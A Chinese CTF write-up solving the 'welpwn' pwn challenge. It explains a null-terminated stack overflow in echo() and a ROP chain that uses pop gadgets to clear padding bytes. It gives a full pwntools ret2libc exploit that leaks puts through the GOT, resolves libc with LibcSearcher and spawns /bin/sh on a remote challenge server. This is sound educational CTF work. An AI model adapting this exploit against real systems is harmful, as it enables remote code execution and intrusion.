攻防世界 - pwn - welpwn

echo函數(shù)中有明顯的棧溢出:

void echo(char *buf)

{
  int iVar1;
  char local_18 [16];
  
  for (i = 0; buf[i] != '\0'; i += 1) {
    local_18[i] = buf[i];
  }
  local_18[i] = '\0';
  iVar1 = strcmp("ROIS",local_18);
  if (iVar1 == 0) {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  printf("%s",local_18);
  return;
}

本地的buf復(fù)制時(shí)未做邊界檢查,但這里和通常的棧溢出算偏移量再做ROP有差異,也是這道題最巧妙的地方,進(jìn)入echo函數(shù)時(shí)的所有輸入已經(jīng)留在上一個(gè)函數(shù)棧幀中了,然而buf的復(fù)制給了覆蓋返回地址的手段,先放出做ROP時(shí)棧的分布,然后解釋原因:



在echo函數(shù)中的原本的輸入是從返回地址之后的位置開始的,填充一些后可以覆蓋返回地址,buf復(fù)制中止的條件是讀到'\0'字節(jié),用ropper或ROPgadget找到的gadget地址高位字節(jié)均為'\0':



復(fù)制的字節(jié)將在遇到第一個(gè)gadget時(shí)停止,此時(shí)gadget低位地址仍會(huì)被復(fù)制,于是寫真正的ROP鏈需要將這些用于填充的無用字節(jié)從棧中剔除出去,很自然的聯(lián)想到用多個(gè)pop來處理,用于pop多余字節(jié)的gadget也需要從棧中剔除,所以有了第一張圖中的ROP鏈設(shè)計(jì)。

剩下的就是ret2libc環(huán)節(jié)了,看了別人的WP最后也用了Libcsearcher這一工具,可以在libc信息未知的情況下根據(jù)got表中庫函數(shù)的地址推測(cè)libc的版本并給出函數(shù)或字符串在libc中的偏移量,寫exp:

from pwn import *
from LibcSearcher import *

context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3

junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base

payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()

# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;

比較奇怪的是IO,main中的"Welcome to RCTF\n"會(huì)先于ROP鏈中的puts(elf.got['puts'])打印出來,這大概率和write和printf的緩沖區(qū)輸出相關(guān),但我在本地調(diào)試時(shí)打印順序是符合ROP鏈的,而且本地的libc沒有與Libcsearcher云上存的Libc庫匹配,這可能是因?yàn)楸镜氐膌ibc版本過新的原因,以后還是盡量調(diào)試pwninit后的elf文件。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 歇了很長(zhǎng)一段時(shí)間,終于開始了我的攻防世界pwn之路。立一個(gè)flag:每日一題,只能多不能少。 0x00 dice_...
    Adam_0閱讀 7,343評(píng)論 2 7
  • 先使用checksec查看文件屬性 RELRO會(huì)有Partial RELRO和FULL RELRO,如果開啟FUL...
    呼嚕84閱讀 1,120評(píng)論 0 2
  • 07.19 CTF特訓(xùn)營(yíng)---REVERSE閱讀P208——P 1、X86指令體系 寄存器組 匯編指令集:Inte...
    gufsicsxzf閱讀 1,820評(píng)論 0 0
  • 新手練習(xí) CGfsb 簡(jiǎn)單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,343評(píng)論 0 6
  • 一、bugkuctf pwn4(棧,ROP,system($0)) 圖1很容易看出來read函數(shù)棧溢出 緊接著就是...
    ywledoc閱讀 1,832評(píng)論 0 1

友情鏈接更多精彩內(nèi)容